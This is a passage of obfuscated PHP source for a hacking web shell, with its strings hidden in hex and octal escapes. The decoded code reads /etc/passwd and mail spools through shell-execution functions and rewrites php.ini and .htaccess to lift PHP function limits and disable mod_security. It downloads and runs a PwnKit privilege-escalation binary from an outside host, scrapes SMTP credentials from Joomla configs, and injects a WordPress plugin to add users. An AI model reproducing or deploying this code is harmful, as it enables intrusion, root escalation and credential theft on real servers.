0\x62\x74\x6e\55\x73\155\x22\x20\166\x61\x6c\165\145\x3d\42\x45\170\x65\143\x20\x46\165\156\143\164\151\157\x6e\42\40\156\x61\155\x65\75\x22\145\x78\x22\x3e\12\74\151\x6e\x70\165\164\40\x74\171\x70\145\x3d\42\x73\x75\x62\155\151\x74\42\40\143\x6c\x61\x73\163\x3d\x22\x66\151\x74\x75\x72\x65\40\142\164\x6e\x20\142\164\156\x2d\x64\141\156\x67\x65\x72\40\142\x74\156\55\163\x6d\x22\x20\x76\141\x6c\165\145\75\x22\x53\x68\x65\154\x6c\137\145\170\x65\143\40\x46\165\x6e\143\x74\x69\157\x6e\x22\x20\x6e\x61\x6d\x65\75\x22\x73\x68\145\170\42\x3e\xa\74\x69\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\x73\165\142\x6d\151\164\x22\40\x63\154\141\163\x73\x3d\42\x66\151\x74\165\x72\x65\x20\142\x74\x6e\40\x62\x74\x6e\x2d\x64\141\x6e\x67\145\162\40\142\x74\156\x2d\163\155\x22\40\x76\141\x6c\165\145\75\42\x50\157\x73\x69\x78\137\x67\x65\164\x70\x77\x75\x69\x64\40\x46\x75\156\x63\164\151\x6f\156\x22\x20\x6e\141\x6d\x65\x3d\42\x6d\x65\154\x65\x78\42\76\xa\x3c\57\x64\151\x76\76\74\150\x72\57\x3e\xa\74\160\40\143\x6c\x61\163\163\75\42\x74\x65\x78\164\55\143\145\156\164\x65\162\42\76\x42\x79\x70\x61\163\163\x20\125\x73\145\162\x20\x57\151\164\150\40\72\x3c\57\x70\x3e\xa\x3c\x64\x69\166\40\x63\x6c\141\163\x73\x3d\42\x64\55\x66\x6c\145\x78\x20\152\165\x73\164\x69\146\171\x2d\143\x6f\x6e\164\145\156\164\55\143\x65\x6e\x74\x65\x72\x20\146\154\145\x78\x2d\x77\162\141\160\x22\76\12\x3c\151\156\x70\165\164\x20\164\x79\x70\145\75\42\x73\x75\x62\155\151\164\42\x20\143\154\x61\x73\x73\75\42\x66\151\x74\165\162\145\40\142\x74\x6e\40\142\164\x6e\55\x77\x61\162\156\151\x6e\147\40\142\164\156\x2d\163\x6d\42\40\x76\141\x6c\x75\145\x3d\x22\101\x77\153\x20\120\x72\157\x67\x72\x61\x6d\x22\40\x6e\141\155\x65\x3d\42\x61\167\x6b\165\163\x65\x72\42\x3e\12\x3c\x69\156\x70\x75\164\40\x74\x79\160\145\x3d\42\x73\165\x62\155\x69\164\42\40\x63\x6c\141\163\163\75\42\x66\x69\164\x75\162\145\x20\142\x74\156\40\142\x74\156\55\167\141\162\156\151\x6e\147\x20\x62\x74\x6e\55\x73\x6d\x22\40\166\141\x6c\165\x65\x3d\42\123\x79\x73\x74\x65\155\40\106\x75\x6e\x63\x74\151\157\156\x22\x20\156\141\155\145\75\42\163\171\163\164\x75\x73\145\x72\x22\76\xa\74\151\x6e\x70\165\164\x20\164\171\x70\145\75\42\163\x75\142\155\151\164\42\x20\143\x6c\x61\163\x73\75\x22\x66\151\x74\x75\x72\x65\x20\142\164\156\40\142\x74\x6e\x2d\x77\x61\162\x6e\x69\x6e\147\40\x62\x74\x6e\x2d\163\155\42\40\166\141\154\165\145\x3d\x22\x50\x61\163\163\164\150\162\165\x20\106\165\156\143\164\x69\x6f\x6e\42\40\156\141\x6d\145\75\x22\x70\141\163\x73\164\x68\165\x73\x65\162\42\76\11\12\x3c\x69\x6e\160\165\164\40\x74\171\x70\145\x3d\42\163\x75\x62\155\151\x74\x22\x20\x63\154\141\163\x73\75\x22\146\x69\164\165\162\145\40\142\x74\x6e\40\x62\164\x6e\x2d\167\x61\162\156\151\156\x67\40\142\x74\156\55\x73\155\42\x20\166\141\x6c\165\x65\x3d\42\x45\170\x65\x63\x20\x46\165\x6e\143\x74\151\157\156\42\x20\156\x61\155\x65\75\x22\145\x78\165\163\x65\x72\42\76\x9\11\12\x3c\x69\x6e\x70\x75\164\x20\x74\x79\160\145\x3d\42\x73\165\142\x6d\x69\164\42\x20\x63\x6c\141\163\x73\x3d\42\x66\151\x74\165\162\x65\x20\142\164\156\40\x62\164\156\x2d\167\x61\162\156\151\156\x67\40\142\x74\x6e\55\x73\x6d\x22\40\166\141\154\165\x65\x3d\42\123\x68\145\x6c\154\137\x65\170\x65\x63\40\106\165\x6e\x63\x74\151\157\156\42\x20\156\x61\155\145\75\x22\x73\x68\x65\x78\165\x73\x65\162\42\x3e\12\x3c\x2f\144\151\166\76\12\x3c\x2f\146\x6f\x72\155\x3e"; $mail = "\x6c\x73\x20\57\x76\141\x72\57\x6d\x61\151\x6c"; $IIIIIII1ll1I = "\x2f\x65\x74\x63\57\160\141\x73\x73\167\x64"; if ($_POST["\x73\x79\x73\164"]) { echo "\74\164\x65\x78\164\141\162\145\141\40\x63\x6c\x61\163\x73\x3d\47\x66\157\x72\155\x2d\x63\x6f\156\164\162\157\x6c\x27\40\x72\x6f\167\x73\x3d\x27\61\63\x27\x3e"; echo system("\143\141\164\40{$IIIIIII1ll1I}"); echo "\74\57\164\145\170\164\141\x72\x65\x61\x3e\x3c\x62\x72\57\x3e"; } if ($_POST["\x70\x61\163\x73\x74\x68"]) { echo "\74\x74\x65\170\x74\141\x72\x65\141\x20\143\154\141\163\x73\x3d\x27\146\157\162\155\55\143\x6f\x6e\164\162\157\154\47\40\x72\x6f\x77\163\75\47\x31\63\47\76"; echo passthru("\x63\141\164\40{$IIIIIII1ll1I}"); echo "\74\57\164\145\x78\x74\141\162\x65\141\x3e\74\x62\162\x2f\76"; } if ($_POST["\145\x78"]) { echo "\74\164\x65\170\x74\141\162\x65\x61\x20\143\154\141\163\163\75\x27\x66\157\162\155\x2d\x63\x6f\x6e\164\162\157\154\x27\40\162\x6f\167\x73\x3d\47\x31\63\x27\76"; echo exec("\143\141\x74\40{$IIIIIII1ll1I}"); echo "\74\57\x74\145\x78\164\141\x72\x65\141\76\74\142\162\57\76"; } if ($_POST["\163\x68\x65\170"]) { echo "\74\x74\x65\170\x74\141\162\145\x61\x20\x63\154\141\x73\x73\75\x27\x66\x6f\x72\x6d\55\x63\x6f\156\x74\162\157\154\47\x20\x72\157\x77\163\75\x27\61\x33\47\76"; echo shell_exec("\143\141\x74\40{$IIIIIII1ll1I}"); echo "\74\x2f\164\145\170\164\x61\162\x65\x61\x3e\x3c\x62\x72\57\x3e"; } if ($_POST["\155\x65\x6c\x65\x78"]) { echo "\74\164\x65\170\x74\141\162\x65\141\x20\x63\x6c\x61\163\x73\75\x27\x66\157\x72\155\x2d\143\157\156\164\162\157\x6c\x27\40\x72\157\167\x73\x3d\x27\x31\63\47\76"; for ($IIIIIII1ll1l = 0; $IIIIIII1ll1l < 6000; $IIIIIII1ll1l++) { $IIIIIII1ll11 = posix_getpwuid($IIIIIII1ll1l); if (!empty($IIIIIII1ll11)) { while (list($IIIIIII1l1II, $IIIIIII1l1Il) = each($IIIIIII1ll11)) { print "{$IIIIIII1l1Il}\72"; } print "\156"; } } echo "\74\57\x74\145\x78\164\141\x72\x65\141\x3e\74\x62\x72\57\x3e"; } if ($_POST["\141\167\x6b\165\x73\145\x72"]) { echo "\x3c\x74\x65\170\164\141\x72\145\141\40\x63\154\141\163\x73\75\47\146\x6f\x72\155\x2d\143\157\x6e\164\x72\157\154\x27\x20\x72\x6f\x77\163\x3d\x27\x31\x33\x27\76\xa" . shell_exec("\141\x77\153\x20\55\106\x3a\x20\47\x7b\40\x70\x72\151\156\164\40{$IIIIIII1l1I1}\x20\x7d\x27\40{$IIIIIII1ll1I}\40\174\x20\163\x6f\x72\x74") . "\12\74\x2f\164\x65\x78\x74\141\x72\x65\x61\x3e\x3c\142\162\x2f\76"; } if ($_POST["\x73\x79\163\164\x75\163\145\x72"]) { echo "\x3c\x74\x65\170\164\x61\162\145\x61\40\143\154\x61\x73\163\x3d\47\x66\x6f\162\155\x2d\x63\x6f\x6e\164\162\157\154\x27\40\162\x6f\x77\163\x3d\x27\x31\63\x27\76"; echo system("{$mail}"); echo "\x3c\x2f\164\x65\x78\x74\x61\162\x65\x61\76\x3c\142\x72\76"; } if ($_POST["\x70\141\163\163\x74\x68\x75\x73\145\162"]) { echo "\x3c\164\x65\170\164\141\x72\x65\x61\40\x63\154\x61\x73\x73\x3d\47\x66\x6f\x72\x6d\55\143\157\x6e\x74\x72\x6f\154\47\40\162\x6f\x77\163\75\47\61\63\47\x3e"; echo passthru("{$mail}"); echo "\74\57\164\145\170\x74\141\162\145\x61\76\x3c\142\x72\x3e"; } if ($_POST["\x65\x78\x75\x73\x65\162"]) { echo "\74\x74\x65\170\164\x61\162\x65\141\40\x63\154\141\163\x73\x3d\x27\146\x6f\x72\x6d\55\x63\157\156\x74\162\x6f\154\47\40\162\x6f\167\x73\75\x27\x31\x33\x27\76"; echo exec("{$mail}"); echo "\x3c\x2f\164\x65\170\x74\141\x72\145\141\x3e\x3c\142\162\x3e"; } if ($_POST["\x73\x68\145\170\165\x73\145\x72"]) { echo "\74\x74\x65\x78\x74\x61\x72\145\x61\40\143\154\x61\163\x73\x3d\x27\146\157\x72\x6d\55\x63\x6f\x6e\x74\162\x6f\x6c\x27\40\162\157\x77\x73\x3d\47\61\63\47\76"; echo shell_exec("{$mail}"); echo "\x3c\x2f\x74\x65\170\164\x61\x72\145\x61\x3e\74\142\162\76"; } echo "\74\x2f\x64\x69\x76\x3e"; die; } goto Dm97v; GpOwm: session_start(); goto e0H04; U8hFk: if ($_GET["\141\x6b\x73\x69"] == "\x63\x68\x61\x6e\147\x65\144\x61\164\x65") { IIIIIIIlI1ll($dir, $IIIIIIII1l1I); } goto uZ0YP; BQ8GD: function disabFunc($dir, $file) { echo "\74\x64\x69\x76\x20\x63\154\141\163\x73\75\x27\x63\x61\162\144\40\x63\141\x72\x64\55\142\x6f\144\171\x20\x74\x65\170\164\x2d\143\145\156\164\x65\162\x20\164\145\170\164\55\x64\141\x72\x6b\x27\x3e\12\74\150\64\x20\x63\x6c\141\x73\x73\75\x27\x74\145\170\164\55\x63\145\156\164\x65\162\x20\x6d\x74\55\x32\x20\155\x62\x2d\63\47\76\102\171\x70\141\163\163\x20\x44\151\163\141\x62\x6c\145\x20\x46\165\x6e\x63\x74\x69\x6f\x6e\163\74\57\x68\62\76\12\74\146\157\x72\x6d\40\x6d\145\x74\x68\157\x64\75\47\x50\x4f\123\124\x27\76\xa\74\x69\x6e\x70\x75\164\x20\164\171\160\x65\x3d\x27\163\x75\142\155\x69\164\x27\x20\143\x6c\x61\163\163\75\x27\142\164\156\x20\x62\164\156\55\x64\141\156\x67\x65\x72\x27\x20\x6e\x61\x6d\x65\75\47\151\156\151\47\40\166\x61\x6c\165\x65\x3d\x27\x70\150\x70\56\151\x6e\x69\47\57\76\xa\74\x69\x6e\x70\165\164\x20\x74\x79\x70\145\x3d\47\163\x75\x62\155\x69\164\x27\x20\x63\x6c\141\x73\163\75\47\142\164\x6e\40\142\x74\x6e\55\144\x61\x6e\x67\145\162\47\40\156\x61\155\x65\75\47\150\164\143\145\x27\40\x76\x61\154\165\x65\75\x27\56\x68\164\x61\x63\x63\145\163\163\47\x2f\x3e\12\74\151\x6e\160\x75\x74\x20\x74\x79\160\x65\75\47\x73\165\142\x6d\x69\x74\x27\40\x63\x6c\141\x73\x73\x3d\x27\142\164\x6e\x20\142\164\156\55\144\x61\156\147\145\x72\x27\40\156\141\155\145\x3d\x27\x6c\151\164\x69\156\151\x27\40\166\x61\x6c\x75\x65\x3d\47\114\151\x74\145\x73\160\145\145\144\x27\x2f\76\12\x3c\57\x66\157\x72\155\76"; if (isset($_POST["\151\x6e\151"])) { $file = fopen("\160\150\160\x2e\x69\x6e\x69", "\x77"); echo fwrite($file, "\163\141\x66\x65\137\155\x6f\x64\145\40\75\x20\117\x46\106\xa\x64\151\163\x61\142\154\145\137\x66\x75\x6e\x63\x74\151\x6f\x6e\163\40\75\x20\x4e\x4f\x4e\x45"); fclose($file); echo "\74\141\40\150\162\145\x66\75\47\160\x68\x70\56\151\156\151\x27\40\x63\x6c\141\x73\163\75\x27\142\164\x6e\x20\142\164\156\55\x73\x75\143\143\x65\163\x73\x20\x62\x74\x6e\x2d\x62\x6c\x6f\143\x6b\x27\x20\164\x61\x72\x67\x65\164\x3d\x27\137\x62\x6c\x61\156\x6b\47\x3e\113\154\x69\x6b\x20\x43\157\x65\147\41\x3c\x2f\141\76"; } elseif (isset($_POST["\x68\164\143\145"])) { $file = fopen("\56\x68\164\x61\143\x63\145\163\x73", "\x77"); echo fwrite($file, "\x3c\x49\x66\x4d\157\x64\x75\154\145\x20\155\x6f\x64\x5f\x73\145\x63\165\162\x69\x74\171\x2e\x63\76\12\x53\145\x63\x46\x69\154\164\145\x72\105\156\147\151\x6e\x65\40\x4f\146\146\xa\x53\145\x63\x46\x69\154\164\x65\x72\123\x63\141\x6e\120\117\123\124\x20\x4f\146\146\12\74\x2f\111\x66\115\157\144\x75\x6c\145\76"); fclose($file); echo "\x3c\160\76\56\x68\x74\141\143\x63\x65\x73\x73\x20\163\165\x63\143\145\163\x73\x66\165\154\x6c\x79\40\143\x72\x65\x61\x74\145\144\41\74\x2f\160\x3e"; } elseif (isset($_POST["\154\x69\164\x69\156\151"])) { $IIIIIIlIlIlI = "\x50\x44\x38\x67\132\127\x4e\157\142\x79\x42\x70\142\155\154\x66\132\62\x56\x30\113\103\112\x7a\x59\x57\132\154\x58\x32\x31\166\132\x47\x55\151\113\x54\x73\x4e\x43\155\126\152\x61\x47\70\147\x61\127\x35\160\x58\x32\x64\154\x64\103\x67\x69\x62\x33\102\154\142\154\x39\151\x59\130\116\154\x5a\107\x6c\x79\111\x69\x6b\67\x44\x51\160\154\x59\x32\150\166\x49\107\154\165\131\62\170\61\x5a\107\x55\157\112\106\71\110\x52\126\122\142\111\155\x5a\160\142\x47\x55\151\x58\123\x6b\67\104\x51\160\x6c\131\62\x68\166\111\107\x6c\165\x61\126\71\x79\132\x58\x4e\x30\142\63\112\x6c\x4b\103\x4a\x7a\131\127\x5a\x6c\x58\x32\61\x76\x5a\x47\x55\151\x4b\124\163\116\x43\155\x56\152\x61\107\x38\147\141\x57\x35\x70\130\63\x4a\154\x63\x33\122\166\143\155\x55\x6f\111\155\x39\x77\132\127\65\x66\131\x6d\106\x7a\x5a\x57\x52\x70\143\151\x49\160\117\x77\x30\113\x5a\x57\x4e\x6f\142\171\102\160\x62\155\154\x66\132\62\126\60\113\x43\x4a\172\131\x57\132\154\x58\62\x31\x76\132\x47\125\151\113\x54\163\x4e\x43\x6d\x56\x6a\141\107\x38\147\x61\127\65\x70\130\62\x64\154\x64\103\147\151\142\63\102\154\x62\x6c\x39\151\x59\x58\x4e\x6c\132\107\x6c\x79\x49\151\x6b\x37\104\121\160\x6c\131\62\150\166\x49\107\x6c\165\131\62\x78\61\132\107\125\157\x4a\106\x39\110\122\x56\122\142\x49\x6e\116\172\111\154\x30\67\x44\x51\x6f\x2f\x50\147\75\x3d"; $IIIIIIlIlIll = "\x73\141\x66\x65\x5f\155\157\144\x65\40\x3d\x20\x4f\106\x46\12\144\x69\163\x61\x62\x6c\x65\137\146\165\x6e\143\x74\151\157\156\163\x20\x3d\x20\x4e\x4f\x4e\105"; $IIIIIIlIlIl1 = "\x3c\x46\x69\154\145\163\40\x2a\x2e\160\150\160\x3e\12\106\157\x72\143\145\x54\171\x70\x65\x20\x61\x70\160\154\x69\143\141\x74\x69\x6f\x6e\57\170\55\x68\164\164\160\x64\x2d\x70\150\160\x34\12\x3c\x2f\106\151\154\145\163\x3e"; file_put_contents("\x70\150\x70\56\151\x6e\x69", $IIIIIIlIlIll); file_put_contents("\151\156\151\x2e\160\x68\160", $IIIIIIlIlIlI); file_put_contents("\56\x68\x74\141\x63\x63\x65\x73\163", $IIIIIIlIlIl1); $IIIIIIIlIl1l = "\x73\x75\x63\143\x65\x73\163"; $IIIIIIIlIl11 = "\104\151\x73\141\x62\154\x65\x20\106\x75\x6e\143\x74\151\157\x6e\163\40\x69\x6e\40\114\x69\x74\145\x73\x70\145\145\x64\40\103\x72\145\141\x74\x65\x64"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } echo "\74\x2f\x64\x69\166\x3e"; } goto pOIQk; T4EHp: if (isset($_GET["\160\x72\157\x74\x65\143\x74\156\x79\141"])) { $IIIIIIlllI11 = $_GET["\x70\162\x6f\164\x65\x63\164\156\171\x61"]; ex("\143\x75\162\154\x20\x2d\x66\163\123\114\x20\150\164\164\x70\x73\72\x2f\x2f\162\x61\x77\x2e\147\151\x74\x68\165\x62\x75\163\x65\x72\143\x6f\156\x74\145\x6e\164\x2e\143\x6f\x6d\x2f\x6c\171\64\x6b\57\120\167\x6e\113\x69\x74\x2f\x6d\x61\x69\x6e\57\120\x77\x6e\113\x69\164\x20\x2d\x6f\40\x72\157\x6f\164\150\x75\x6e\x74\x65\162\73\x63\150\155\x6f\x64\x20\53\x78\x20\162\x6f\x6f\x74\x68\165\156\164\x65\162"); echo "\74\x70\x72\145\x20\143\x6c\x61\x73\163\x3d\x27\x74\145\170\164\x2d\x77\150\151\164\145\47\x3e" . ex("\x2e\x2f\162\157\x6f\x74\150\165\156\164\x65\162\40\47\x73\165\144\x6f\x20\143\x68\141\x74\164\x72\x20\53\x69\40{$IIIIIIlllI11}\47") . "\74\x2f\x70\x72\x65\x3e"; echo "\x3c\160\x20\x63\x6c\x61\163\163\75\x27\x74\x65\170\x74\x2d\167\x68\151\164\145\47\x3e\133\x2b\135\x20\104\157\x6e\145\x20\x50\162\x6f\x74\145\143\x74\x69\156\x67\40\x66\151\154\145\163\x3c\x2f\x70\x3e\x3c\57\144\151\x76\x3e\74\x2f\144\151\x76\x3e"; ex("\x72\x6d\x20\x2d\x72\x66\40\x72\x6f\x6f\x74\150\165\156\x74\145\x72"); die; } goto HtwCQ; JV7W3: $IIIIIIllllI1 = scandir($path); goto XzELM; Cw8oI: $IIIIIIII1lII = disk_total_space($dir); goto z7DGc; HgISA: function IIIIIIIlI1lI($dir) { echo "\x3c\144\x69\166\40\143\x6c\141\163\x73\75\x27\143\141\162\x64\x27\76\xa\x3c\x64\x69\166\40\143\x6c\141\x73\x73\75\47\143\x61\162\x64\55\x62\157\x64\171\x20\146\x6f\x72\x6d\55\147\x72\x6f\x75\x70\47\x3e\74\x66\x6f\x72\155\x3e\xa\74\150\65\76\74\x70\40\143\x6c\x61\x73\163\x3d\47\164\145\x78\x74\x2d\155\x75\x74\x65\x64\47\x3e\74\151\40\143\154\x61\163\x73\75\47\146\x61\40\146\141\55\164\x65\162\155\x69\156\x61\154\47\76\74\x2f\x69\76\124\145\162\155\151\x6e\141\x6c\x3c\x2f\160\x3e\x3c\57\x68\x35\x3e\12\x3c\151\x6e\x70\x75\x74\x20\x74\171\160\145\x3d\x27\x74\x65\170\x74\47\40\x63\x6c\x61\163\163\x3d\x27\146\x6f\x72\155\55\x63\x6f\156\164\x72\x6f\x6c\47\40\156\141\x6d\x65\75\47\162\157\x6f\164\156\x79\x61\47\x20\141\x75\164\157\143\157\x6d\x70\154\x65\164\145\75\x27\157\x66\146\47\x20\x70\x6c\x61\143\x65\x68\x6f\154\x64\145\162\75\47\x72\157\157\x74\x65\144\47\76\xa\74\x2f\x66\x6f\162\x6d\x3e\x3c\57\x64\x69\166\76\74\57\x64\151\x76\x3e"; } goto XlvIp; TOKr0: ini_set("\144\151\163\x70\x6c\x61\x79\x5f\145\x72\162\x6f\162\163", 0); goto avNPj; wYL_b: function r($dir, $perm) { if (!is_readable($dir)) { return "\x3c\146\x6f\156\164\x20\x63\x6f\154\157\162\75\x72\145\x64\x3e" . $perm . "\74\x2f\146\157\x6e\164\76"; } else { return "\74\146\x6f\156\164\40\143\x6f\x6c\157\162\75\x6c\x69\x6d\145\76" . $perm . "\x3c\x2f\x66\x6f\156\x74\x3e"; } } goto kyGyA; mA8lq: if ($_GET["\x61\153\163\x69"] == "\143\150\155\157\x64\x5f\x66\151\154\145") { IIIIIIIlllII($dir, $file, $IIIIIIIlllIl); } goto lzT0f; rQZ11: ob_start(); goto V3I3M; wAXZQ: if ($_GET["\141\153\x73\x69"] == "\143\162\157\156\x74\x61\x62") { IIIIIIIlI1Il($dir); } goto Zq00K; jT_fe: if ($_GET["\x61\153\163\x69"] == "\x6e\x67\x65\x72\x6f\157\164") { autoRoot($dir); } goto jeZQ1; nwSu2: $IIIIIIIlIIl1 = @file("\57\x65\164\x63\57\x6e\141\155\145\x64\x2e\x63\x6f\156\146", false); goto wGGcQ; WPQAH: $IIIIIIII1I1I = function_exists("\155\171\x73\x71\154\137\x63\x6f\156\156\145\143\164") ? "\40\x3c\146\x6f\x6e\164\x20\x63\x6f\154\x6f\162\75\x67\162\x65\145\x6e\x3e\x20\117\116\40\x3c\57\x66\157\x6e\164\x3e\x20" : "\40\74\x66\157\x6e\164\x20\x63\157\154\x6f\x72\x3d\162\x65\x64\x3e\40\x4f\106\106\40\74\x2f\146\x6f\156\x74\76\40"; goto gyq2_; C142H: if ($_GET["\141\x6b\163\x69"] == "\143\157\x6e\x66\x62\171\160\141\163\x73") { IIIIIIIlI111($dir, $IIIIIIII1l1I); } goto Zko4a; Uibm2: ini_set("\155\141\170\x5f\x65\170\145\x63\x75\164\151\x6f\x6e\137\164\x69\155\145", 0); goto BRRlq; G7maZ: function IIIIIIIlllII($dir, $file, $IIIIIIIlllIl) { echo "\x3c\146\157\162\x6d\x20\x6d\145\x74\150\157\x64\75\47\x50\x4f\x53\124\47\x3e\xa\x3c\x68\x35\76\x43\x68\x6d\x6f\144\40\x46\151\x6c\x65\x20\x3a\x20{$IIIIIIIlllIl}\40\74\x2f\x68\65\76\xa\74\144\x69\x76\40\x63\x6c\x61\x73\163\x3d\47\146\157\x72\155\55\147\162\157\x75\x70\x20\151\x6e\x70\x75\x74\55\x67\162\x6f\165\x70\x27\x3e\xa\x3c\151\x6e\160\x75\x74\40\164\x79\160\145\75\x27\x74\145\x78\164\47\x20\x6e\x61\155\145\x3d\47\160\145\162\155\47\40\x63\154\141\163\x73\75\x27\x66\x6f\x72\x6d\55\x63\157\156\164\x72\157\154\x27\40\x76\141\154\165\145\75\x27" . substr(sprintf("\x25\157", fileperms($_GET["\x66\151\x6c\145"])), -4) . "\x27\76\12\x3c\151\156\x70\x75\x74\x20\164\171\160\x65\75\47\x73\x75\x62\x6d\x69\x74\x27\x20\143\x6c\x61\163\x73\75\47\142\x74\156\40\x62\164\156\55\x64\141\156\147\145\162\40\146\157\x72\155\x2d\x63\157\156\x74\162\x6f\x6c\47\x20\166\x61\154\x75\x65\75\47\103\150\x6d\157\x64\x27\x3e\12\74\x2f\144\x69\x76\x3e\xa\x3c\57\x66\x6f\x72\x6d\76"; if (isset($_POST["\x70\145\x72\x6d"])) { if (@chmod($_GET["\146\151\154\145"], $_POST["\x70\145\162\155"])) { echo "\x3c\x66\x6f\x6e\x74\40\x63\x6f\154\x6f\162\x3d\42\x6c\151\155\145\42\x3e\103\150\x61\x6e\x67\145\40\120\x65\x72\x6d\151\163\163\x69\x6f\x6e\40\x42\145\162\150\x61\163\x69\x6c\x3c\x2f\146\x6f\x6e\164\x3e\x3c\x62\162\57\x3e"; } else { echo "\x3c\x66\157\156\164\x20\x63\157\x6c\157\162\75\42\x77\150\x69\164\x65\x22\x3e\103\x68\141\156\147\145\x20\120\x65\x72\155\x69\163\163\x69\x6f\156\x20\107\141\147\141\154\74\x2f\x66\157\156\x74\76\74\x62\x72\57\76"; } } die; } goto Ou_xB; kV2xI: if ($_GET["\141\x6b\163\151"] == "\x61\x64\155\151\156\x65\162") { IIIIIII1l1lI($dir, $file); } goto DjebA; XnLRJ: function IIIIIIllII11($dir) { $IIIIIIllIlII = scandir($dir); foreach ($IIIIIIllIlII as $IIIIIIIl11ll) { if (!is_file("{$dir}\x2f{$IIIIIIIl11ll}")) { continue; } $IIIIIIllIlIl = file_get_contents("{$dir}\57{$IIIIIIIl11ll}"); $IIIIIIllIlIl = str_replace("\44", '', $IIIIIIllIlIl); if (preg_match("\57\x4a\x43\x6f\x6e\x66\x69\x67\174\x6a\157\x6f\155\x6c\x61\x2f", $IIIIIIllIlIl)) { $IIIIIIllIlI1 = IIIIIIII11l1($IIIIIIllIlIl, "\x73\155\164\160\x68\157\x73\x74\x20\x3d\40\47", "\47"); $IIIIIIllIllI = IIIIIIII11l1($IIIIIIllIlIl, "\x73\x6d\164\160\x61\165\164\150\40\75\40\47", "\47"); $IIIIIIllIlll = IIIIIIII11l1($IIIIIIllIlIl, "\163\x6d\164\x70\x75\x73\145\162\x20\x3d\x20\x27", "\x27"); $IIIIIIllIll1 = IIIIIIII11l1($IIIIIIllIlIl, "\163\155\x74\x70\160\141\163\x73\40\x3d\x20\x27", "\47"); $IIIIIIllIl1I = IIIIIIII11l1($IIIIIIllIlIl, "\x73\155\x74\160\x70\157\x72\x74\40\75\x20\x27", "\x27"); $IIIIIIllIl1l = IIIIIIII11l1($IIIIIIllIlIl, "\163\155\164\160\163\145\143\x75\162\x65\x20\x3d\x20\x27", "\47"); echo "\74\164\x61\142\154\145\40\x63\x6c\141\163\163\75\47\x74\145\170\164\55\167\150\151\164\145\x20\x74\141\x62\x6c\145\40\x74\141\142\154\x65\x2d\142\157\x72\x64\x65\x72\x65\144\x27\76\12\74\x74\162\x3e\xa\x3c\x74\144\76\123\x4d\x54\x50\x20\x48\x6f\163\x74\x3a\x20{$IIIIIIllIlI1}\74\57\164\x64\x3e\xa\x3c\x2f\x74\162\x3e\xa\x3c\164\x72\x3e\12\74\x74\x64\x3e\123\x4d\x54\120\40\120\x6f\x72\x74\x3a\40{$IIIIIIllIl1I}\x3c\x2f\x74\x64\76\xa\74\57\164\162\76\12\74\164\x72\x3e\12\x3c\164\144\76\123\x4d\124\x50\40\x55\x73\x65\162\72\x20{$IIIIIIllIlll}\74\x2f\x74\x64\x3e\xa\74\x2f\164\x72\x3e\xa\74\x74\162\x3e\xa\74\x74\x64\x3e\123\x4d\124\120\40\120\141\x73\163\72\40{$IIIIIIllIll1}\x3c\x2f\164\144\76\xa\x3c\57\164\162\76\12\x3c\164\x72\76\12\x3c\164\x64\x3e\123\x4d\124\120\40\101\165\164\x68\x3a\40{$IIIIIIllIllI}\x3c\x2f\x74\x64\x3e\12\x3c\57\164\x72\x3e\12\x3c\x74\162\x3e\12\x3c\164\144\x3e\123\115\124\x50\x20\x53\145\x63\x75\162\145\72\40{$IIIIIIllIl1l}\x3c\x2f\x74\144\76\12\x3c\57\164\x72\x3e\12\x3c\57\x74\141\x62\154\x65\76"; } } echo "\x3c\x70\40\x63\x6c\x61\x73\163\x3d\47\x74\145\x78\164\x2d\x6d\x75\x74\145\x64\47\76\116\102\x20\x3a\x20\124\157\157\154\163\40\x69\156\x69\40\167\x6f\162\x6b\x20\152\x69\x6b\x61\x20\x64\x69\152\141\x6c\x61\156\153\x61\x6e\40\x64\x69\x20\144\x61\x6c\x61\x6d\40\x66\x6f\x6c\144\145\162\40\74\x75\x3e\143\157\x6e\x66\x69\x67\74\x2f\x75\76\x20\50\x20\145\x78\72\40\57\150\x6f\x6d\145\57\165\x73\145\162\57\x70\165\x62\x6c\x69\143\x5f\150\164\x6d\154\x2f\156\141\x6d\x61\x66\157\154\144\145\x72\137\143\x6f\156\146\x69\x67\40\x29\74\x2f\160\76"; die; } goto ypc_4; C_qji: if ($_GET["\x61\x6b\x73\151"] == "\172\151\x70\137\155\x65\156\x75") { IIIIIIllI1lI($dir, $file); } goto CDm1q; A9k68: function wpuser($dir) { echo "\74\x64\x69\166\40\143\154\141\x73\x73\75\x22\143\141\162\x64\40\155\142\55\x35\x22\x3e\xa\74\144\x69\166\x20\143\x6c\x61\x73\x73\75\x22\143\x61\x72\x64\55\x62\x6f\144\171\40\146\157\162\x6d\55\x67\162\x6f\165\160\x22\x3e\12\74\143\x65\156\164\145\162\x3e\x3c\x70\x3e\74\160\40\x63\154\x61\163\x73\75\x22\x74\145\x78\164\55\x69\156\146\157\40\146\157\156\x74\55\167\145\x69\x67\150\164\x2d\142\157\154\144\42\x3e\133\53\135\x20\x41\x64\144\40\127\120\x20\125\163\145\x72\40\x76\151\x61\40\x4d\125\x20\x50\154\165\x67\x69\156\74\x2f\x70\x3e\x3c\160\x3e\x3c\x2f\x63\x65\156\x74\x65\x72\76"; echo "\x3c\143\145\156\x74\145\162\76\12\74\146\157\162\x6d\x20\155\145\x74\x68\157\x64\x3d\x27\160\157\x73\x74\47\x3e\xa\74\151\x6e\x70\x75\164\40\164\171\160\145\75\x27\163\x75\x62\155\151\164\x27\x20\x63\154\x61\163\163\x3d\x27\x62\164\x6e\40\142\164\156\55\x73\165\143\143\x65\x73\x73\x20\x6d\142\55\x33\x27\40\x6e\x61\155\x65\75\x27\167\160\165\x73\x65\162\155\x75\x27\x20\x76\x61\154\x75\x65\75\x27\111\156\x6a\x65\x63\164\40\115\125\x20\120\154\x75\x67\151\156\47\x3e\12\74\x2f\x66\x6f\x72\x6d\x3e\12\74\x2f\x63\145\x6e\164\145\162\76"; if ($_POST["\167\x70\165\163\145\x72\x6d\x75"]) { $isimu = 